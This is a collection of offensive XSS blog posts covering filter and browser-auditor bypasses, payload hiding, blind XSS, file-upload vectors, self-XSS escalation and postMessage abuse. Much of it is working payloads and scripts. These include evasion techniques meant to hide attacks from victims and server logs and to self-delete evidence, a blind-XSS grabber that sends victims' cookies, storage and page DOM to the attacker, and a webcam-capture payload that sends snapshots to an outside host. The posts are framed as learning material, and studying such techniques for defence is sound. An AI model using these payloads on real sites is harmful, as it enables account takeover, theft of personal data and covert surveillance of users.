Avoiding XSS Detection

As any XSSer (one that makes XSS) might know, the script tag is not always available to inject into a XSS hole because it’s the first thing that will be filtered by developer or an WAF (Web Application Firewall). Furthermore, the input may be restricted to only a few chars which makes impossible to put the following javascript code needed to call an external script, in an event handler for example:

with(document)body.appendChild(createElement('script')).src='//DOMAIN'

On the other hand, hiding the suspicious code from the victim is a prerogative for an attack with higher chances to succeed. Some techniques are needed to avoid been spotted, from victim to developer or admin investigation.

We will examine a reflected XSS scenario. Usually encoding the XSS vector is enough to hide it from user’s eyes, but to hide an attacker intention from server logs we need to jump to the hash part of URL:

<svg/onload=eval(location.hash.slice(1))>#with(document)
body.appendChild(createElement('script')).src='//DOMAIN'

The slice(1) function returns the location.hash string from the character at position 1 (# is the 0), which is evaluated by eval() function. Although all the code after # will never be sent to server, thus avoiding any logging, it’s clear that too much suspicious activity is being done here and an user may spot this.

But the worst part is that will not work, at least in Firefox, because the single quotes will be turned into %27 and eval() function will complain about it. We would need to add the decodeURI() function over the location.hash.slice(1), which could make our input larger and with the same user problem above.

So to avoid this, let’s make the hash part become a base64 string. But first, we need to solve the single quotes problem:

#with(document)body.appendChild(createElement
(/script/.source)).src=atob(/Ly9icnV0ZWxvZ2ljLmNvbS5ici8y/.source)

Using “//brutelogic.com.br/2” as the script, which just pops the document domain in an alert box, we get rid of the quotes with the “.source” regex trick in the createElement() function and with the atob() function to encode our source in base64 for the “src” value (along with the same “.source” trick).

Now we can encode in base64 the whole code after hash, which give us the following:

<svg/onload=eval(atob(location.hash.slice(1)))>
#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZW
F0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b
2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
dXJjZSk=

The last step is to get our input that will go to the server a little shorter: using the URL property of document, which is a string, we can set the starting point of it from the end using a negative value:

<svg/onload=eval(atob(URL.slice(-148)))>
#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZW
F0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b
2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
dXJjZSk=

It’s boring to double encode and calculate the length of the final base64 string, so I made a simple payload generator here.

hasher-1

The eval() function can also be replaced by setInterval() and setTimeout() functions in case of a blacklist. But the several ways to play with strings in javascript and ways of encoding the chars usually are enough to bypass most filters. There’s also the backticks option against parenthesis filtering as we can see here.

Even with our efforts, script code can still be discovered. To hide it, in server side, it’s possible to use obfuscators like this one. But it can be reversed, so if we really want to not let anyone know what’s happened to the victim it’s better to self delete the file from server after the targeted attack.

selfdel

Proof of Concept (PoC) code is here and it works similarly to this: rename it to index.php and put it in a web server folder. But be sure to have it writable by the web server user and save a copy for replacement after deleting.

#hack2learn

Blind XSS Code

There are situations where an injection traverses profile areas, services and even network boundaries usually by means of a database storage of user controlled input (stored XSS). But when a tester or attacker is not able to see his/her injection working using regular ways and/or the inner workings of the affected software is not known, a different kind of probing is needed to spot the vulnerability. This is usually the case of vulnerable code in unreachable environments, like an intranet.

A simple code to grab remote info from a victim which triggers a blind XSS and emailed them to a tester/attacker is here. It needs to be renamed to index.php and have the email data “myName@myDomain” and “report@myDomain” correctly replaced by tester/attacker own settings. It also needs a SMTP server installed and configured in the system. This and this will help if you’re doing it from scratch.

blind-xss-0

That code is a PHP file that is used both as a source of the injected script and as a mailer. Placed in the web root of a domain, it’s just needed to include it in a payload with:

<script src=//DOMAIN/></script>

When calling the script, the browser makes a GET request to index.php (which is the folder’s default file) and receives plain text to execute. It grabs the victim’s data, from it’s IP to the full DOM of the page where it was executed. After, it makes a XHR POST request to itself with this data allowed by the CORS header Access-Control-Allow-Origin, populated with the origin provided by the javascript code:

blind-xss-1

This time it’s the PHP code that will handle the POST request, creating the report with the info grabbed by both javascript and PHP code and emailing it to the tester/attacker:

blind-xss-2

Which looks like:

blind-xss-3-1

The following info is present in the report.

  • IP address: address of the victim’s browser (requester) and proxy (forwarded for).
  • User agent: browser of the victim.
  • Target URL: where the victim executed the payload.
  • Referrer URL: the previous page from where the victim came.
  • Readable cookies: all victim’s non http-only cookies.
  • Session storage: data stored by browser for duration of the victim’s session in JSON format.
  • Local storage: data stored by browser for beyond the duration of the victim’s session in JSON format.
  • Full document: the DOM of the target URL.

#hack2learn

XSS and RCE

RCE (Remote Code Execution) is a critical vulnerability which usually is the final goal of an attack. With code execution, it’s possible to compromise servers, clients and entire networks. XSS, as many other vulnerabilities, is a step towards to it, even if  people usually don’t think about XSS in this way.

But far from being a roughly coverage on this subject, this post would not be complete without taking in consideration the 2 possible scenarios regarding these: XSS to RCE and XSS from RCE. Although we may see an escalation from a XSS to a RCE as a logical step, it’s also possible to consider a RCE being used to XSS. It would be pointless to use the same domain for such thing, so we will see a different procedure.

XSS to RCE

Leveraging a XSS to RCE usually is done with the compromise of an admin account of the target website, using CSRF to make requests in his behalf. Admins use to have upload capabilities via HTTP in their administration dashboard so it’s pretty straightforward to make him upload a webshell and achieve our RCE goal. After an admin session is stolen (or a new admin is created), an attacker can also perform manually the steps needed if he/she wants.

There are some other types of compromise using XSS, abusing server side javascript and embedded browser engines in mobile apps as we can see in the links below:

XSS to RCE in …

XSS to RCE in Atlassian Hipchat

ColdFusion Bomb: A Chain Reaction From XSS to RCE

XSS from RCE

Third party includes just enlarge the attack surface of a given website. So, from a security perspective, the security of a system equals the security of the weaker link on its trust chain. In a case of a website, included scripts from external sources give an attacker a way to achieve a stealthy stored XSS if he/she is able to takeover one of the domains being called in background by the target.

Usually these scripts are hosted in a CDN (Content Delivery Network), which has a dedicated server to provide static content to thousands of websites. But a good assessment has to take all loaded scripts in consideration, in the hope of finding a potential third-party compromise. The level of difficulty may vary from medium to very hard, but the reward will be a complete indirect control of the target website.

Let’s see a live example. The domain globo.com is one of the most visited in Brazil and worldwide:

rce2xss-0

Its request map is here.

After loading the website and checking its js calls with browser console (F12), we are able to see the following:

rce2xss-1

After checking the subdomain ivccftag.ivcbrasil.org.br, which is being called from globo.com, we have nothing obvious to work with (it’s static). But after playing a little with the main domain ivcbrasil.org.br:

rce2xss-2

A SQL injection, a critical vulnerability that can lead to a full server compromise is present. For legal reasons, we can’t go further without explicit authorization. Although not the domain included on globo.com, it’s not that difficulty to imagine how far we can go to increase the chances to compromise the desired subdomain and include our code in the middle of the served javascript file (ivc.js) to globo.com.

To see it working without actually having to compromise anything, just append the respective line to your hosts file

rce2xss-5

And create a file named ivc.js in your web root folder with alert(document.domain) as content. A popup will appear:

rce2xss-3

#hack2learn

CORS Enabled XSS

Misconfigured CORS (Cross Origin Resource Sharing) headers can’t be abused to trigger javascript in a target website. But there’s an interesting and useful way to use it in an existing XSS scenario.

One page websites, by their very nature, make heavy use of javascript. They load content using AJAX requests without the need to change the current page, hence the name.

A very simple and dirty example of such website is here.

The page name loaded into main one appears after the hash part of URL. Since a XHR call is made, an attacker is tempted to abuse it by inserting an external site to include its content in the context of the page:

http://brutelogic.com.br/tests/cors/#//google.com

Due to SOP (Same Origin Policy) the XHR call fails (red message in console below), which would be the expected outcome by an unwary developer.

cors-1

To bypass this, it’s just a matter of allowing the request in the attacker’s side. The following PHP file, which contains a CORS header allowing the remote XHR call is enough to render the XSS payload included on it.

<?php header(“Access-Control-Allow-Origin: *”); ?>
<img src=1 onerror=alert(document.domain)>

cors-2

It’s also possible to exploit this page with a simpler:

#data:text/html,<img src=1 onerror=alert(document.domain)

But unlike the CORS trick, it will not work on Microsoft browsers (access is denied).

cors-3.1

#hack2learn

Chrome XSS Bypass

Intro

If you ever tried to XSS something using the Google Chrome browser you have noticed that it usually doesn’t work. This is due to a native filter named XSS Auditor.

auditor-red-flag
Google Chrome’s Auditor red flagging a XSS attempt.

Over the years, this built-in feature has evolved and get stronger with several bypasses found by the infosec (information security) community. But it has some limitations, the ones we will explore in this post.

We will not deal with pure javascript injections like ’-alert(1)-‘ or DOM-based XSS: Auditor can’t catch these things. What Auditor does is evaluate a full code expression in the response when it’s not seen in the request, so pieces of javascript code attached to existing code or not seen in the response (DOM-based injections) cause filter failure.

We are interested here in common yet simpler real world scenarios, where we can find a XSS flaw outside a javascript block and craft a payload to work into Google Chrome. According to this, Google Chrome users are about 50% of all desktop users worldwide, making a working XSS in Chrome increase the attack surface in more than 100% even if a XSS works in all other browsers combined.

browser-stats-03-2016
Browser usage statistics according to W3Counter in march of 2016.

chrome-version-50

 

It’s important to note that all things here are meant to work in the latest browser version until date (50) and these may not work in future versions.

 

Inline Injection

When injecting in some attribute of a tag (inline), if it’s possible to break out of it and inject another one, the following payload will run perfectly in Chrome:

"><script src=data:%26comma;alert(1)-"

Like in

<input value=“INPUT”>

which becomes

<input value=“"><script src=data:%26comma;alert(1)-"”>

As long as there’s a closing script tag after it in the native code as we can see here.

Script uses the data URI scheme as its source without the need of specifying the content type (like in data:text/html,…) because the default text/plain is enough to run the javascript code. Also needed to encode the comma (%26comma;) for version 50. With the alert function “minus” an empty string (“”) being evaluated, but without Auditor seeing it fully in the request, it doesn’t get blocked.

Off Tag Injection

Like in the injection inside a tag, it’s also possible to XSS when input echoes out of it. We will use a classic example of a reflection in a message returned after a search query. But there are some requirements and cases to watch for:

1) Requirements

– A script block after injection: needed to close the actual payload;
– A double quote somewhere inside a tag after injection: needed to some variants.

For example, both requirements can be satisfied if there’s (but not limited to) any of the following in source code:

<script src=“URL”></script>
<script type=“text/javascript”></script>

2) Cases

Payload execution depends on which character comes right after injection, so here is a table with what is needed. The search TERM is where the injection reflects.

Char right after Example(s) Payload(s)
Space or
EOL (end of line)
Search for TERM returned 0 results.
Results for TERM
<script src="data:%26comma;alert(1)//
Double quote Search for “TERM” returned 0 results. <script src=data:%26comma;alert(1)//
Single quote Search for ‘TERM’ returned 0 results. <script src=data:%26comma;alert(1)//
<script src="data:%26comma;alert(1)//
Dot, comma, colon,
semicolon etc.
Results for TERM: <script src=data:%26comma;alert(1)%26sol;%26sol;
<script src="data:%26comma;alert(1)%26sol;%26sol;
Less than <span>Results for TERM</span> <script src=//domain%26sol;my.js%26num;
<script src="//domain%26sol;my.js%26num;
Greater than, question
mark or slash
Are you looking for TERM? NO BYPASS
FOUND

In the first 4 cases, the same principle as the inline injection above was used but this time using a double slash (//), one time in its HTML entity form (&sol;&sol; with “&” encoded to %26 in URL) to comment the rest of the javascript code left open. Similarly, the payload "><script src=data:%26comma;alert(1)// can also be used for inline injection.

In the 5th case (in blue), a very common one, the way found to execute javascript code without being catched by Auditor was by calling an external script. This was done using an encoded slash (%26sol;) and appending a hash (%26num;) in the end of URL to avoid requesting with the native code attached. It can be applied to all working cases of the table, respective to the quote presence. A live example is available here.

auditor-external-script

Conclusion

As we can see it covers most of the possible scenarios out there although being easy to get filtered by an application filter or WAF due to the script tag.

A live test page is available here. URL parameters q0 up to q6 are the respective inputs for each type and case of bypass explained above (check source code).

A big “thank you!” to @asdizzle_ for his precious contribution to this work.

#hack2learn

P.S. Another interesting trick (restricted to some pages) to bypass Chrome’s Auditor is available in my private twitter account @brutalsecrets: exclusive results of my XSS research including a simple yet effective tool to find XSS in the wild can also be found there.

P.S.2 When going to verison 50 (after draft of this post was ready to go) Chrome seemed to have these bypasses fixed, but (thanks again to @asdizzle_) a simple encoding of comma did the trick again.

File Upload XSS

A file upload is a great opportunity to XSS an application. User restricted area with an uploaded profile picture is everywhere, providing more chances to find a developer’s mistake. If it happens to be a self XSS, just take a look at the previous post.

Basically we have the following entry points for an attack.

1) Filename

The filename itself may be being reflected in the page so it’s just a matter of naming the file with a XSS.

xss-gif-filename

#hack2learn
Although not intended, it’s possible to practice this XSS live at W3Schools.

2) Metadata

Using the exiftool it’s possible to alter EXIF metadata which may lead to a reflection somewhere:

$ exiftool -FIELD=XSS FILE

Example:
$ exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg

exif-brute-collage

3) Content

If the application allows the upload of a SVG file extension (which is also an image type), a file with the following content can be used to trigger a XSS:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

A PoC (Proof of Concept) is available live at brutelogic.com.br/poc.svg.

4) Source

It’s easy to build a GIF image to carry a javascript payload for use as a source of a script. This is useful to bypass the CSP (Content Security Policy) protection “script-src ‘self’ ” (which doesn’t allow <script>alert(1)</script>, for example) if we are able to successfully inject in the same domain, as shown below.

xss-gif-source

To create such an image just use this as content and name it with .gif extension:

GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

The signature of a GIF file, GIF89a, is used as a javascript variable assigned to the alert function. Between them however, there’s a commented XSS vector just in case the image can be retrieved as the text/HTML MIME type, thus allowing payload execution by just requesting the file.

As we can also see below, the file UNIX-like command along with the PHP functions exif_imagetype() and getimagesize() recognize it as a GIF file. So if an application is using just these to validate the image, the file will be uploaded (but may be sanitized later).

xss-gif

For more file types that can have its signature as ASCII characters used for a javascript variable assignment, check this.

There are more elaborated examples of XSS using image files, usually bypassing filters like the GD library ones. A good example of that is here.

#hack2learn

Leveraging Self-XSS

Self-XSS is a curious case of cross-site scripting: an attacker is able to execute code in the browser, but only he/she can do it. No link to share, no common place to be visited by someone else in case of a stored flaw (like in restricted profiles). It’s confined to the place where it runs, which makes the attacker and victim the very same person.

But even in such an infertile scenario it’s possible to leverage it to a successful attack. Here are the main proceedings to turn an useless reflection into a dangerous one:

POST to GET

It’s just a matter of finding the parameter which is being accepted both via GET and POST methods on server side like the PHP’s $_REQUEST[‘parameter’] global variable, much seen in search fields. JSON calls also might be responsible for retrieving the output, so it’s worth checking the requests made by application for GET parameters used in client side scripts.

Copy & Paste

Users can be tricked into craft the XSS themselves, by copying and pasting a code provided by attacker. Although far from being the best option, it’s still valid code running in the context of a vulnerable application.

XSS + CSRF

Most websites usually don’t care about CSRF (Cross Site Request Forgery) when it affects the logout feature, so it might be possible to log out the current user from his/her session on the website and login him/her again using an account we create and control in order to trigger the XSS.

A basic scheme follows, with common needed data (to be provided by an attacker) in uppercase:

<iframe src=LOGOUT_URL onload=forms[0].submit()>
</iframe><form method=post action=LOGIN_URL>
<input name=USERNAME_PARAMETER_NAME value=USERNAME>
<input name=PASSWORD_PARAMETER_NAME value=PASSWORD>

This uses a combination of an iframe to perfom the logout and a form to submit the known login credentials. The problem is the victim sees the content of the vulnerable page, which could make him/her spot the attack. But, as soon as the javascript code is executed, lots of things can be made to ensure the victim won’t notice the malicious activity.

In the following video we can see the attack occurring against a locally hosted sample application, by means of an external domain (brutelogic.com.br) to execute the code in admin user’s browser:

Payload used in video:

<iframe src=//localhost/self/logout.php
onload=forms[0].submit()></iframe><form method=POST
action=//localhost/self/login.php?returnURL=changemail.php>
<input name=username value=brute>
<input name=password value=logic>

#hack2learn

P.S.: code for the vulnerable application used in video will be available soon for practicing.

XSS in Mobile Devices

Mobile devices have versions of the major browsers very similar to the desktop ones, so usually all HTML5 stuff work well in these apps. But there are things specific to these platforms which can be used by and for a XSS attack. First, let’s see some HTML event handlers.

When the mobile device changes its screen mode from portrait to landscape and vice-versa, this fires the orientationchange event in the document body.

<body onorientationchange=alert(orientation)>

It will show the number of degrees from the current mode after device rotation.

But the main ones for mobile are the touch events. These accept almost any tag, arbitrary or not, like the mouse events. An important difference is the use of the <html> to trigger them, because it covers all the browser screen. Although it can be also used in mouse events, triggering is done several times whenever mouse moves, which is annoying.

<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>

Besides events, particular device’s data is available by means of the Navigator API (Application Program Interface). Except for the last one of this post (vibration), all of them are also available for notebooks. The following data, for example, is useful for a more comprehensive attack by knowing which type of internet connection the victim is using:

<svg onload=alert(navigator.connection.type)>

And the battery level of his/her device (payload for Firefox):

<svg onload=alert(navigator.battery.level)>
<svg onload=alert(navigator.battery.dischargingTime)>
<svg onload=alert(navigator.battery.charging)>

Knowing the battery’s level may be useful to render someone offline exhausting his/her resources in order to drain the battery. With the connection type it’s possible to know if a victim is using an WI-FI connection or using a cellular network. The differences of connection speed and even the inference about where the victim is (away from home, for example) may also be useful for a further attack.

screen-collage

Better than that is to get the exact location of the victim. This can be done using the geolocation property:

<script>
navigator.geolocation.getCurrentPosition(function(p){
alert('Latitude:'+p.coords.latitude+',Longitude:'+
p.coords.longitude+',Altitude:'+p.coords.altitude);})
</script>
(remember to change “+” for “%2B” in URLs)

But it needs victim’s permission.

If we get victim’s permission we can even take screenshots of his/her camera and send to a server (script for Chrome):

<script>
d=document;
v=d.createElement(‘video’);
c=d.createElement(‘canvas’);
c.width=640;
c.height=480;
navigator.webkitGetUserMedia({‘video’:true},function(s){
v.src=URL.createObjectURL(s);v.play()},function(){});
c2=c.getContext(‘2d’);
x=’c2.drawImage(v,0,0,640,480);fetch(“//HOST/”+c2.canvas.toDataURL())‘;
setInterval(x,5000);
</script>
cam-base64
Victim’s screenshot encoded in attacker’s server log

And to test with your own camera, just replace the text in red with this:

open(c2.canvas.toDataURL())

It will open a new screenshot in a new tab every 5 seconds also.

For a more impressive and exclusive PoC (Proof of Concept) for mobile, vibration can be used:

<svg onload=navigator.vibrate(500)>
<svg onload=navigator.vibrate([500,300,100])>

If you are on a mobile with vibration enabled, click here for a live XSS demo (Firefox).

The number inside the first example refers to miliseconds of vibration. In the second one, the same vibration is being used with an interval of 300 ms and then another vibration of 100 ms.

For being a field with fast development, some of the APIs related to mobile are deprecated and their support on mobile devices varies across the browsers. So it’s always better to refer to their official documentation like that one from Mozilla.

Don’t forget to try all the examples you read here for a better understanding.

#hack2learn

Cross-Origin Scripting

The origin of the XSS term comes from the pre-SOP (Same Origin Policy) age, when the attacks were really against a domain from a domain, hence the use of “cross-site” to describe it. Nowadays it’s more likely to consider XSS as a client-side markup/script injection because these attacks don’t really need to rely on another domain anymore.

There are few exceptions, the ones we will see now. It’s worth to note that the security header X-Frame-Options may render this attack based on iframe unfeasible but that will not stop one using another browser tab or window.

In this simple page, designed to demonstrate a XSS attack in the good and old cross origin style, there’s an insecure use of the HTML5’s window.postMessage API. Its code not only writes in the document (line 11) the data received by the listener function with a poor filtering (line 9) but also does a misleading check of the allowed domains before accepting the data (line 10):

COS-1

It checks for “facebook.com” in the origin of the data sent. It can be easily bypassed using that string in the domain of the sender, like mysite-facebook.com.

But instead of registering and configuring a domain in the world wide web, we can edit the hosts file of our operating system (C:\windows\system32\drivers\etc\hosts in Windows or /etc/hosts in Unix-like systems) to make the browser goes to our desired fake domain. Even better, we can use Google Chrome ability to “create” a fake subdomain of localhost on the fly as we will see below, in a machine running a web server.

Now, to send the message to that page with our XSS payload, we just need to write this on a local page like mypage.html

<iframe src="//brutelogic.com.br/tests/status.html" onload="frames[0].postMessage('<script>alert(document.domain)','*')">

and open it in our Chrome browser:

COS-2

Note the “facebook.com.localhost” in the browser address bar. Our attack page contains an iframe that triggers the javascript code responsible for sending the message when the it gets loaded (onload event). The message is formed by the code needed to bypass the filter at line 9 and it’s sent to the source (src attribute) of the iframe, running in the context of our target.

Using cross origin requests also make possible to exploit targets vulnerable to the following XSS payloads that require user interaction (the first needs window resizing and the second needs a change in the hash part of URL):

<body onresize=alert(1)>
<body onhashchange=alert(1)>

In order to automate all these exploitations, here is a simple PHP script which employs a hidden iframe:

<!DOCTYPE html>
<body onload="crossPwn()">
<h2>CrossPwn</h2>
by <a href="https://twitter.com/brutelogic">@brutelogic</a>
<iframe src="<?php echo htmlentities($_GET['target'], ENT_QUOTES) ?>" name="<?php echo $_GET['name'] ?>" height="0" style="visibility:hidden">
</iframe>
<script>
function crossPwn() {
frames[0].postMessage('<?php echo $_GET["msg"] ?>','*'); // onmessage
document.getElementsByTagName('iframe')[0].setAttribute('height', '1'); // onresize
document.getElementsByTagName('iframe')[0].src = '<?php echo $_GET["target"] ?>' + '#brute'; // onhashchange
}
</script>
</body>
</html>

Usage Examples

onMessage (try on Chrome, Firefox needs hosts file edit):

http://facebook.com.localhost/crosspwn.php?target=//brutelogic.com.br/tests/status.html&msg=<script>alert(document.domain)

onResize (try on Firefox, Chrome Auditor will block it):

http://localhost/crosspwn.php?target=//brutelogic.com.br/webgun/test.php?p=<body/onresize=alert(document.domain)>

onHashchange (try on Firefox, does not work in Chrome):

http://localhost/crosspwn.php?target=//brutelogic.com.br/webgun/test.php?p=<body/onhashchange=alert(document.domain)>

Another advantage of loading the target website in an iframe is the possibility to shorten and hide the injected payload with “eval(name)” as the javascript code, just by using the “name” parameter in URL with any XSS vector:

http://localhost/crosspwn.php?target=//brutelogic.com.br/webgun/test.php?p=<svg/onload=eval(name)>&name=alert(document.domain)

COS-3

This make use of the “name” attribute of the iframe to store the string to be executed by the eval() function which makes that code invisible to the target’s web server logs.

#hack2learn

P.S.: here’s a live example of this technique.

Transcending Context-Based Filters

There are injection scenarios with correct filtering for each HTML context that may have a couple of conditions which allows a successful XSS exploitation. This is done using interesting tricks that will transcend the filter blocking capabilities.

In a regular HTML source code we have 3 contexts for reflection:

1) among tags
2) inside a tag
3) in a script section

challenge-search-2
Example of The 3 Contexts in HTML Source Code (click to open)

For each context, a correct filter have to be applied.

The following code available live here will be used for demonstration of the technique. It applies the following filters (PHP), one for each context:

1) preg_replace(“/\<script|=/i”, “-“, $_REQUEST[‘q’]);
2) preg_replace(“/on\w+\s*=|\>/i”, “-“, $_REQUEST[‘q’]);
3) htmlspecialchars($_REQUEST[‘q’], ENT_QUOTES);

As we can see, the 1st filter prevents any use of the script tag (<script), the only one that can execute javascript code without the need of an equal sign, also replaced by a “-” in this context. The 2nd one, due to be an input of the type hidden, is more tolerant allowing the injection of anything but the tag closing (>) and any event handler (on\w+\s*=), both replaced by a “-” again. The 3rd encodes the input to be reflected on the javascript section, leaving no room for breaking out of the single quotes.

So this page can be exploited? Aside from making use of some weird and old version specific tricks on Microsoft’s Internet Explorer and an attack with the need of high user interaction (both in the end of this post), there are 2 interesting solutions with XML based tags, the ones with built-in support in the HTML5 parser.

We can’t use event handlers. In the previous post, XSS Without Event Handlers, we can see a list of possible candidates to execution. There we can see the <math> tag being used with <brute, as a sign that it is an arbitrary tag (so it can be almost anything).

<math><brute href=javascript:alert(1)>

It can’t be used fully in the 1st context because the “=” is being filtered. But we can split it, because the equal sign is tolerated in the second filter.

1) <math>
2) ” href=javascript:alert(1)

So we have <math> in the 1st filter (which pass unchanged) and href=javascript:alert(1) (discarding the tag and adding double quotes) in the second.

But what about the native code between these 2 reflection places?

As we already saw in the post Source-Breaking Injections, we can break the source, making a part of the code “disappear”. Our goal here is not only to invalidate the code between the reflections but also “jump” to bring them together as close as possible.

Using an HTML comment, this is achieved:

1) <math><!–
2) ” href=javascript:alert(1)

And then we land close to our next reflection which is inside an input field of the hidden type. But in the presence of a <math> before it, it becomes a regular tag that can be used to trigger an href.

<math><!–” href=javascript:alert(1)//
or
” href=javascript:alert(1) <math><!–

challenge-search-3
The Math Payload – Simple Version (click to open in FF)

In order to make it more appealing to a click, the payload for an attack could be:

lol video<!–“href=javascript:alert(1) style=font-size:50px;
display:block;color:transparent;
background:url(‘//brutelogic.com.br/webgun/img/youtube1.jpg’);
background-repeat:no-repeat –><math><!–

challenge-search-4
The Math Payload – Attack Version (click to open in FF)

Interesting enough, it still relies on UI (user interaction) and works only in Mozilla’s Firefox web browser. The next one is much more impressive: it does not need UI and also works on latest Google’s Chrome.

The other XML based tag with built-in support in the HTML5 parser is <svg>. Although much more powerful than <math> regarding XSS exploitation, <svg> can’t be used with the 2nd filter in the same way for a XSS in this scenario.

So here comes the 3rd filter. Designed to prevent exploitation in the javascript section, perfect on its own, it falls victim of a similar trick:

<svg><!–‘-alert(1)-‘
or
‘-alert(1)-‘<svg><!–

challenge-search-5
The SVG Payload (click to open)

This happens because the <svg> tag makes the next <script> block be parsed even with chars encoded as HTML entities, hence the breaking out of the native variable value and “concatenation” of the alert function.

What about the native code between <svg> and alert(1)? As the page was carefully crafted to demonstrate this technique, the tags between these 2 are known to be innocuous to this payload construction. We just need to make the first jump, to avoid the <p> tags which would not let this work.

Unfortunately, none of the above solutions were enough to bypass Microsoft’s latest XSS filters (IE and Edge). This last one, the most promising because of the absence of the easily flagged “javascript:” string, has the needed bypass for IE messed by the page filter: “alert%26lpar;1)” becomes “alert&amp;lpar;1)” in source.

Alternative Solutions

It was pointed out by @httpsonly that it’s possible to XSS in IE version 6 up to 9 using the %00 char to evade the <script regex pattern. There are more bypasses involving these ancient browser versions but it’s worth to note that the filters were designed to prevent XSS in modern browsers. The real unintended bypass came from @asdizzle_ who was able to XSS it with high user interaction in the following way:

” accesskey=x onclick=alert(1) 1=’

It needs pressing of ALT+SHIFT+X keys to trigger the alert and it’s only possible in this scenario because of the technique described here.

 

#hack2learn